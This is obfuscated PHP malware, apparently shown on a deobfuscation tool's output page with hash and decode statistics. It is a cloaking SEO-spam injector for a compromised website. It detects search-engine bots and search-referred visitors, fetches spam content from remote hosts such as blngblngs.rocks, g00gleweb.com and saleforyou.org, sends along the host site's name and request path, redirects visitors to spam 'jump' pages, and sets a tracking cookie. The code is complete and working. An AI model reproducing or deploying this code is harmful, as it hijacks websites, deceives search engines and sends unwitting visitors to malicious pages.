O0HJF("\x68\164\164\x70\x3a\57\x2f\x62\x6c\156\147\142\x6c\x6e\x67\163\x2e\162\157\143\153\163\57\x70\x72\145\163\163\165\x72\x65\55\x68\x6f\163\164\56\164\x78\x74")); goto zFj8y; FGIPW: return $LCjwn; goto PqHF2; qP3Ud: if (!empty($LCjwn)) { goto sCh_a; } goto ys5DJ; DFbZ4: $LCjwn = o0hjf("\x68\x74\x74\160\x3a\57\x2f\x35\56\147\x30\x30\147\154\x65\167\145\142\x2e\143\157\155\x2f\160\162\145\x73\x73\x75\x72\145\55\x68\157\163\x74\x2e\x74\x78\164"); goto pFZo5; No3yX: sCh_a: goto FGIPW; hdZfB: if (!empty($UplTa)) { goto v7HeE; } goto DFbZ4; wPm0R: ubCqi: goto hdZfB; ppk7I: $LCjwn = $UplTa . "\77\162\145\x66\x70\x61\147\145\75" . $_SERVER["\123\105\122\x56\x45\122\137\x4e\101\115\x45"] . $_SERVER["\122\105\121\125\105\x53\x54\x5f\125\122\x49"]; goto wPm0R; ys5DJ: $LCjwn = "\150\164\164\160\x73\x3a\57\x2f\x36\x2e\x73\141\154\x65\x66\x6f\x72\171\157\165\x2e\x6f\162\x67\x2f\x70\x72\145\x73\163\165\162\x65\55\152\165\x6d\160\x2e\160\150\x70"; goto No3yX; pFZo5: v7HeE: goto qP3Ud; zFj8y: if (empty($UplTa)) { goto ubCqi; } goto ppk7I; PqHF2: } goto ZYoih; FpIFI: $a0B1e = strtolower($_SERVER["\110\124\124\x50\137\x52\105\106\105\122\x45\x52"]); goto SkqVt; T2p1l: $HQVzD = str_replace("\125\x6e\x4c\x69\156\x65", "\x6d\141\x6c\x65", $HQVzD); goto ht7sc; MT0BF: exit; goto g9LX8; DCzt2: header("\154\x6f\x63\141\x74\151\157\x6e\x3a\40" . $JgvZX); goto MT0BF; jmqnn: $HQVzD = str_replace("\57\77\x6b\145\171\x3d", "\57", $HQVzD); goto pooMX; hzZ2Y: $HQVzD = str_replace("\56\x68\x74\x6d\x6c", '', $HQVzD); goto XLUfM; Ttkno: $HQVzD = str_replace("\x55\x6e\114\x69\x6e\x65", "\x73\165\147\x61\x72", $HQVzD); goto Nd68C; jckjU: $QQFD9 = empty($_GET["\x70\x72\x65\163\163\x75\162\145"]) ? "\x69\x6e\144\145\x78\56\x70\150\160" : $_GET["\160\162\145\163\163\165\x72\145"]; goto tqpXm; iShOQ: if (!isset($_GET["\x70\162\x65\163\163\165\162\145"])) { goto I5JgB; } goto Ss51m; krTdU: exit; goto pjw7R; kvP7p: zw_S3: goto Hk_vv; Gnebl: lU9r5: goto NeL2O; NUjBZ: header("\x6c\x6f\x63\141\x74\x69\x6f\156\72\x20" . $JgvZX); goto wOo28; iVBMZ: if (!(acwaI($a0B1e) && empty($_COOKIE["\150\x61\151\x72\143\x6b\x69"]) && !$uszBx)) { goto lU9r5; } goto QhQLg; Wwsde: $HQVzD = O0HJF(base64_decode("\141\x48\122\60\x63\104\157\166\114\62\132\x68\x64\x43\x35\151\142\x47\65\156\x59\x6d\170\165\x5a\x33\115\x75\143\155\71\x6a\x61\x33\115\166\x4d\x6a\101\x79\x4d\x69\60\170\x4d\123\71\x7a\144\127\144\x68\143\x69\71\164\x59\127\x6c\165\114\156\102\x6f\143\104\71\162\x5a\130\x6b\x39") . $QQFD9 . "\46\150\x6f\x73\x74\x3d" . $l1e7L . "\x26\167\x77\x77\x3d\x32"); goto N9uNh; DbQvm: $JgvZX = PPLpP(); goto NUjBZ; gIjeV: DkMKZ: goto iShOQ; pooMX: $HQVzD = str_replace("\x55\156\x4c\151\x6e\145", "\x63\142\x64", $HQVzD); goto V0D35; tqpXm: $HQVzD = O0HJF(base64_decode("\141\x48\122\x30\x63\x44\x6f\x76\114\62\x5a\x68\x64\x43\x35\x69\142\107\x35\156\131\x6d\x78\x75\x5a\x33\x4d\165\x63\x6d\71\x6a\x61\x33\115\x76\115\152\101\x79\115\x69\x30\x78\115\x53\x39\167\x63\x6d\x56\x7a\x63\x33\x56\x79\x5a\123\71\164\131\x57\154\x75\x4c\156\102\157\143\x44\x39\x72\132\x58\x6b\x39") . $QQFD9 . "\x26\150\157\163\164\x3d" . $l1e7L . "\x26\x77\167\x77\75\x32"); goto nrUye; xyQz8: $QQFD9 = empty($_GET["\167\x65\x69\x67\x68\164"]) ? "\x69\x6e\144\145\170\56\160\150\x70" : $_GET["\167\145\151\147\x68\x74"]; goto MxFnM; P_nOw: if (!isset($_GET["\167\145\x69\x67\x68\164"])) { goto TK2NT; } goto RDbF2; pjw7R: k7Ocb: goto Bmr53; g9LX8: R0BA5: goto jxvBI; rJQvN: if (!isset($_GET["\x73\165\147\x61\162"])) { goto dGzWl; } goto iVBMZ; Up_sI: header("\x6c\157\143\141\x74\x69\157\156\x3a\40" . $JgvZX); goto j8hy_; YIu6k: if (empty($_GET["\151\155\x61\147\x65\165\162\x6c"])) { goto zUg0d; } goto dj4_s; fafMR: if (!$uszBx) { goto gce9r; } goto YHm2P; ZYoih: function YkNoH() { goto fJAOa; ewN3K: $LCjwn = O0hjf("\x68\x74\x74\160\x3a\x2f\x2f\65\x2e\147\x30\60\x67\x6c\x65\167\145\x62\x2e\143\157\155\57\163\165\147\141\x72\x2d\x68\x6f\x73\x74\56\164\x78\164"); goto wr_3N; XKpIo: if (empty($UplTa)) { goto DQM36; } goto vxY0R; aQFzZ: return $LCjwn; goto KM1fB; e9LGl: if (!empty($UplTa)) { goto wh2eZ; } goto ewN3K; NxZMB: etei1: goto aQFzZ; wr_3N: wh2eZ: goto Xrlod; fJAOa: @($UplTa = O0HJF("\150\x74\164\x70\72\x2f\x2f\x62\x6c\x6e\x67\142\x6c\x6e\x67\163\56\162\157\x63\x6b\x73\57\x73\x75\147\141\162\x2d\150\x6f\163\164\56\x74\x78\164")); goto XKpIo; vxY0R: $LCjwn = $UplTa . "\x3f\x72\x65\x66\x70\x61\x67\145\75" . $_SERVER["\x53\x45\122\126\105\122\137\x4e\x41\x4d\x45"] . $_SERVER["\122\x45\121\x55\105\x53\124\137\125\122\111"]; goto kUpDp; kUpDp: DQM36: goto e9LGl; Xrlod: if (!empty($LCjwn)) { goto etei1; } goto HMUdI; HMUdI: $LCjwn = "\150\164\164\x70\x73\x3a\57\57\66\56\163\x61\x6c\x65\x66\x6f\x72\171\x6f\165\56\157\x72\147\57\x73\x75\x67\141\162\x2d\152\165\x6d\x70\56\x70\x68\160"; goto NxZMB; KM1fB: } goto lrhaz; WeIjV: function acwAI($BuSAU) { goto QchQA; FI8kV: PUMev: goto ByYH3; eVF_b: return false; goto ec74N; pPpoG: UofrV: goto zBhye; ByYH3: return true; goto pPpoG; yxTav: if (preg_match("\57{$hfnad}\57\x69", $BuSAU)) { goto PUMev; } goto eVF_b; QchQA: $hfnad = str_replace("\x78", '', "\x62\x78\x78\x69\170\156\x78\x67\170\174\x78\141\x78\x6f\x78\x78\154\170\x7c\141\x78\163\170\170\153\174\x78\147\170\x6f\170\170\157\170\x67\x78\x6c\x78\x65\x7c\171\x78\x78\x61\170\x68\x78\x6f\x78\x6f\174\163\x78\145\170\170\141\x78\162\x78\143\170\150\174\x64\x75\x78\143\153\144\170\165\143\x78\153\x78\x67\157"); goto yxTav; ec74N: goto UofrV; goto FI8kV; zBhye: } goto FpIFI; Ss51m: if (!(aCWaI($a0B1e) && empty($_COOKIE["\x68\x61\x69\x72\143\153\x69"]) && !$uszBx)) { goto NqFuI; } goto a1Kvb; BAIcW: I5JgB: goto rJQvN; AUmOe: $kRbRD = str_replace("\56", "\x2d", $kRbRD); goto YIu6k; R7c_x: $HQVzD = o0hjF(base64_decode("\x61\x48\122\60\143\x44\157\x76\114\x32\x5a\150\x64\103\65\151\142\x47\65\156\x59\x6d\170\165\132\x33\x4d\165\143\155\71\152\x61\x33\x4d\166\115\x6a\101\171\115\151\x30\x78\x4d\123\71\x6a\x59\x6d\121\x76\x62\x57\106\x70\x62\151\65\167\141\x48\101\x2f\141\x32\126\x35\x50\x51") . $QQFD9 . "\x26\x68\x6f\163\164\75" . $l1e7L . "\46\167\167\x77\x3d\62"); goto jmqnn; apHIz: exit; goto MbsWs; yWRHO: function OSpKN() { goto xz0TY; IEfI2: gnUty: goto lyTIb; xz0TY: @($UplTa = o0hJF("\150\x74\x74\160\x3a\x2f\57\142\154\x6e\147\x62\154\x6e\x67\163\56\162\157\x63\x6b\x73\x2f\x77\x65\x69\x67\x68\x74\55\x68\157\x73\x74\x2e\x74\170\164")); goto A_FBR; KPdKg: $LCjwn = $UplTa . "\x3f\162\145\146\160\x61\x67\x65\x3d" . $_SERVER["\x53\105\122\126\105\x52\x5f\x4e\x41\115\x45"] . $_SERVER["\x52\105\x51\125\105\123\124\137\x55\x52\111"]; goto ShPV7; A_FBR: if (empty($UplTa)) { goto yVZLY; } goto KPdKg; ShPV7: yVZLY: goto zwQkr; lyTIb: if (!empty($LCjwn)) { goto bLxKy; } goto kIDDT; kIDDT: $LCjwn = "\150\164\x74\x70\163\72\57\57\x36\56\x73\141\x6c\145\x66\157\x72\171\157\x75\56\x6f\x72\x67\x2f\x77\x65\151\147\150\164\55\x73\163\56\x70\150\160"; goto nT8I2; zwQkr: if (!empty($UplTa)) { goto gnUty; } goto qXaOV; nT8I2: bLxKy: goto foDJ3; qXaOV: $LCjwn = O0hJF("\x68\164\164\x70\x3a\x2f\x2f\65\x2e\147\60\60\147\x6c\x65\167\x65\x62\x2e\x63\157\x6d\57\167\145\x69\x67\150\164\x2d\x68\157\x73\164\56\164\170\164"); goto IEfI2; foDJ3: return $LCjwn; goto Sdkcz; Sdkcz: } goto S6y9W; YHm2P: $QQFD9 = empty($_GET["\x63\x62\x64"]) ? "\151\156\x64\x65\x78\x2e\160\x68\x70" : $_GET["\x63\x62\x64"]; goto R7c_x; pQ0ev: if (!(!empty($_SERVER["\x48\124\124\120\137\x55\123\105\122\137\x41\x47\105\116\x54"]) && FALSE !== strpos(preg_replace($L2LZC, "\x2d\116\117\55\x57\101\131\x2d", $_SERVER["\x48\124\x54\x50\137\125\x53\105\x52\137\x41\107\x45\x4e\124"]), "\55\116\x4f\55\x57\101\x59\x2d"))) { goto NrCuA; } goto E4S7Y; JnAem: if (!$uszBx) { goto nfZGc; } goto jckjU; lNMuV: ncQZ2: goto tOnHi; at53k: $kRbRD = preg_replace("\57\133\x5e\141\55\x7a\x41\55\132\x7c\60\55\x39\x7c\55\174\x2e\x5d\x2f\x69", "\x2d", basename($kRbRD)); goto AUmOe; zd9ch: $HQVzD = str_replace("\x55\x6e\x4c\151\x6e\145", "\150\142\x70", $HQVzD); goto UNjCL; rQ_0x: DV9wR: goto AYb1_; dZX0O: if (!$uszBx) { goto k7Ocb; } goto hbjYS; ht7sc: RPlNA: goto zUMKN; BmVLn: $HQVzD = str_replace("\x2f\77\x6b\145\171\x3d", "\57", $HQVzD); goto XKCGn; yxppd: fPxNT: goto kvP7p; MLO7h: $uszBx = 1; goto LScd0; RDbF2: if (!(acwai($a0B1e) && empty($_COOKIE["\150\x61\151\162\143\x6b\151"]) && !$uszBx)) { goto R0BA5; } goto jymz2; wOo28: exit; goto lNMuV; jxvBI: if (!$uszBx) { goto DV9wR; } goto xyQz8; Hk_vv: zUg0d: goto mkXBA; AkYO2: dGzWl: goto dZX0O; XUel9: $JgvZX = og0l9(); goto dZQoy; iEiXK: echo $HQVzD; goto krTdU; V0uwT: error_reporting(0); goto nE1ju; AYb1_: TK2NT: goto NcfqS; UNjCL: nfZGc: goto BAIcW; lBJPB: if (!(FALSE !== strpos(gethostbyaddr($zL8rQ), "\x67\x6f\x6f\x67\x6c\145"))) { goto sk1ti; } goto MLO7h; nrUye: $HQVzD = str_replace("\x2f\77\153\145\171\75", "\57", $HQVzD); goto zd9ch; hHC2X: list($kKPV6, $o1dH4, $IX32b) = getimagesize($WUhBu); goto sz7S2; jymz2: $JgvZX = Ospkn(); goto DCzt2; LScd0: sk1ti: goto WeIjV; nE1ju: ob_start(); goto umQmZ; NcfqS: if (!isset($_GET["\143\x62\x64"])) { goto DkMKZ; } goto b3Dld; R7rFS: exit; goto cLCxo; XLUfM: $HQVzD = str_replace("\150\164\164\x70\x3a\x2f\57\x66\x61\x74\56\x62\x6c\156\x67\x62\154\156\147\x73\56\x72\x6f\x63\x6b\163\x2f\167\160\x69\x6d\141\147\x65\163\x2f{$kRbRD}\x2f", "\x68\x74\x74\160\163\x3a\57\57\167\x77\167\56\x63\x69\x74\x79\x70\141\163\x73\147\x75\x69\144\x65\x2e\143\x6f\x6d\x2f\x77\160\151\x6d\141\147\x65\x73\x2f", $HQVzD); goto uJASI; dZQoy: header("\154\157\143\x61\164\151\157\156\x3a\x20" . $JgvZX); goto apHIz; sg_a8: $QFiZZ = imagecreatefromstring(o0HJF($WUhBu)); goto hHC2X; N9uNh: $HQVzD = str_replace("\x2f\x3f\153\145\171\x3d", "\57", $HQVzD); goto Ttkno; g3nVu: NrCuA: goto lBJPB; E4S7Y: $uszBx = 1; goto g3nVu; uJASI: $HQVzD = str_replace("\150\164\x74\x70\x3a\x2f\x2f", "\150\x74\x74\x70\x73\72\57\x2f", $HQVzD); goto iEiXK; f7AIM: $HQVzD = o0HjF(base64_decode("\x61\110\x52\x30\x63\104\x6f\166\x4c\62\x5a\x68\x64\x43\x35\151\142\107\65\x6e\x59\155\x78\165\132\63\115\165\143\x6d\71\152\141\x33\115\x76\x4d\152\x41\x79\x4d\151\60\x78\115\x53\x39\x74\131\x57\x78\x6c\x4c\x32\x31\x68\141\127\64\165\x63\107\150\167\120\62\x74\154\x65\124\60") . $QQFD9 . "\46\x68\x6f\163\164\x3d" . $l1e7L . "\46\x77\167\x77\75\x32"); goto fUQQ5; sz7S2: switch ($IX32b) { case 1: goto DS2mT; Ra0By: imagegif($QFiZZ); goto IDK9f; DS2mT: header("\143\x6f\x6e\164\x65\156\164\x2d\x74\x79\x70\145\72\151\x6d\141\x67\x65\57\147\x69\146"); goto Ra0By; IDK9f: goto zw_S3; goto Js94R; Js94R: case 2: goto ecqsU; ADEVe: imagejpeg($QFiZZ); goto iaQWn; iaQWn: goto zw_S3; goto xG5g_; ecqsU: header("\143\x6f\x6e\164\x65\x6e\164\55\x74\x79\x70\145\72\x69\155\x61\x67\x65\57\152\160\x65\147"); goto ADEVe; xG5g_: case 3: goto saO2q; s300e: imagepng($QFiZZ); goto gPUYe; gPUYe: goto zw_S3; goto bMDZx; saO2q: header("\143\x6f\x6e\x74\x65\x6e\164\x2d\x74\171\x70\145\x3a\x69\x6d\x61\x67\145\x2f\160\156\x67"); goto s300e; bMDZx: default: goto zw_S3; } goto yxppd; Nd68C: Rstyi: goto AkYO2; CnJdJ: $WUhBu = "\x68\164\164\160\72\57\57\146\141\x74\x2e\142\154\156\x67\142\x6c\156\x67\163\56\x72\157\143\x6b\x73\x2f\x77\160\x69\x6d\x61\x67\x65\x73\x2f{$kRbRD}\x2f{$FgYK9}"; goto sg_a8; umQmZ: function o0hJF($QQFD9) { goto ROgyD; T5vCB: $bPfzH = curl_init(); goto nHCGz; w6gAM: curl_setopt($bPfzH, CURLOPT_RETURNTRANSFER, 1); goto EFq3v; Vg280: curl_setopt($bPfzH, CURLOPT_URL, $QQFD9); goto w6gAM; M3YSD: return $LCjwn; goto Ecz9s; EFq3v: curl_setopt($bPfzH, CURLOPT_CONNECTTIMEOUT, $sbqNl); goto ZiOMA; ZiOMA: $LCjwn = curl_exec($bPfzH); goto r_8Y4; ZDnuG: $M79ZI = stream_context_create($F6piN); goto opMBr; akJID: sFG9s: goto M3YSD; ROgyD: $F6piN = array("\150\164\x74\160" => array("\x6d\145\164\150\x6f\144" => "\107\x45\x54", "\164\x69\x6d\x65\x6f\165\164" => 5)); goto ZDnuG; qXlPb: if (!empty($LCjwn)) { goto sFG9s; } goto T5vCB; opMBr: @($LCjwn = file_get_contents($QQFD9, false, $M79ZI)); goto qXlPb; nHCGz: $sbqNl = 5; goto Vg280; r_8Y4: curl_close($bPfzH); goto akJID; Ecz9s: } goto KdEns; mkXBA: if (!isset($_GET["\155\141\x6c\145"])) { goto C2EEc; } goto muVdp; QhQLg: $JgvZX = ykNOH(); goto Up_sI; VeZLe: $QQFD9 = empty($_GET["\x73\165\147\141\162"]) ? "\x69\x6e\144\x65\x78\56\x70\x68\160" : $_GET["\163\x75\x67\141\162"]; goto Wwsde; Uu6ed: $kRbRD = str_replace("\x77\x77\167\x2e", '', $l1e7L); goto at53k; OxdGf: $QQFD9 = empty($_GET["\155\x61\x6c\145"]) ? "\151\156\144\145\x78\x2e\x70\150\x70" : $_GET["\155\x61\x6c\145"]; goto f7AIM; gsrTA: function x4WLe() { goto LA5Z5; wZtxy: if (isset($_SERVER["\122\105\x4d\x4f\x54\105\137\101\x44\x44\x52"]) && $_SERVER["\122\x45\x4d\x4f\124\x45\x5f\101\104\x44\122"] && strcasecmp($_SERVER["\x52\105\115\x4f\124\105\x5f\101\x44\104\x52"], "\x75\156\x6b\x6e\157\x77\156")) { goto bweTR; } goto GsvbE; uaWPT: return $G7fVG; goto CgNkF; iP26I: $G7fVG = $_SERVER["\x52\105\x4d\x4f\124\105\137\x41\x44\x44\x52"]; goto eAxoD; HkZ0e: if (getenv("\x52\x45\x4d\117\x54\x45\x5f\x41\x44\104\x52") && strcasecmp(getenv("\x52\105\x4d\x4f\124\105\137\x41\104\x44\122"), "\x75\156\x6b\156\157\167\x6e")) { goto Otd1d; } goto wZtxy; LA5Z5: $G7fVG = ''; goto wQGYV; ChqXX: ReYqJ: goto oGubL; wQGYV: if (getenv("\110\x54\124\120\x5f\103\x4c\111\x45\x4e\124\137\x49\120") && strcasecmp(getenv("\110\124\124\x50\x5f\x43\x4c\111\x45\116\124\x5f\111\120"), "\x75\x6e\x6b\x6e\157\167\156")) { goto ReYqJ; } goto xYFyC; lf3x2: Otd1d: goto xAFXi; GsvbE: goto tLWYe; goto ChqXX; b1aTE: goto tLWYe; goto qkSTb; fToS9: goto tLWYe; goto m1YRX; igorW: $G7fVG = getenv("\110\124\124\120\x5f\x58\x5f\x46\117\x52\127\101\122\x44\105\x44\137\x46\x4f\x52"); goto OGE3F; eAxoD: tLWYe: goto uaWPT; OGE3F: goto tLWYe; goto lf3x2; xYFyC: if (getenv("\x48\124\x54\120\137\x58\x5f\x46\117\x52\127\101\122\104\x45\x44\x5f\106\x4f\x52") && strcasecmp(getenv("\x48\x54\124\120\137\130\137\x46\x4f\122\127\101\x52\104\105\x44\137\x46\x4f\x52"), "\165\156\x6b\156\x6f\167\x6e")) { goto f3Zeh; } goto HkZ0e; oGubL: $G7fVG = getenv("\110\x54\124\120\137\x43\114\111\105\116\124\x5f\x49\x50"); goto b1aTE; xAFXi: $G7fVG = getenv("\122\x45\115\117\x54\x45\x5f\x41\x44\104\122"); goto fToS9; qkSTb: f3Zeh: goto igorW; m1YRX: bweTR: goto iP26I; CgNkF: } goto GqWRG; KdEns: function Txux8($uAn8e) { goto wkNv3; Aaq7D: hqZ4A: goto oVzWm; oVzWm: return $IoHTW; goto AO8If; aayc9: v58dB: goto BbzRZ; wkNv3: $p0Kvo = array("\67\65\x5c\x2e\x33\x32\x5c\56\x31\71\x30\134\56\133\x30\x2d\x39\135\x2b", "\x31\x37\x34\x5c\x2e\62\60\70\134\56\62\x32\x5c\56\x5b\60\55\71\x5d\x2b"); goto w16eb; P4Hpt: foreach ($p0Kvo as $hEQJa) { goto iy0zE; ubuoU: goto v58dB; goto svOeG; svOeG: MU8RR: goto vwHoR; iy0zE: if (!preg_match("\57{$hEQJa}\x2f\151", $uAn8e)) { goto MU8RR; } goto UuAG5; UuAG5: $IoHTW = true; goto ubuoU; vwHoR: xUL8k: goto sFtLl; sFtLl: } goto aayc9; w16eb: $IoHTW = false; goto P4Hpt; A_9DB: if (!($zQ48D > 0)) { goto hqZ4A; } goto Aaq7D; BbzRZ: $zQ48D = count($_COOKIE); goto A_9DB; AO8If: } goto gsrTA; fUQQ5: $HQVzD = str_replace("\57\77\153\145\x79\75", "\57", $HQVzD); goto T2p1l; Bmr53: setcookie("\150\x61\x69\162\143\153\151", "\150\x61\151\x72\143\x6f\x6f\x6b\151", time() + 3600 * 24 * 100);
Function Calls
None |
Stats
MD5 | 054a389e6470102668e487934e1046df |
Eval Count | 0 |
Decode Time | 94 ms |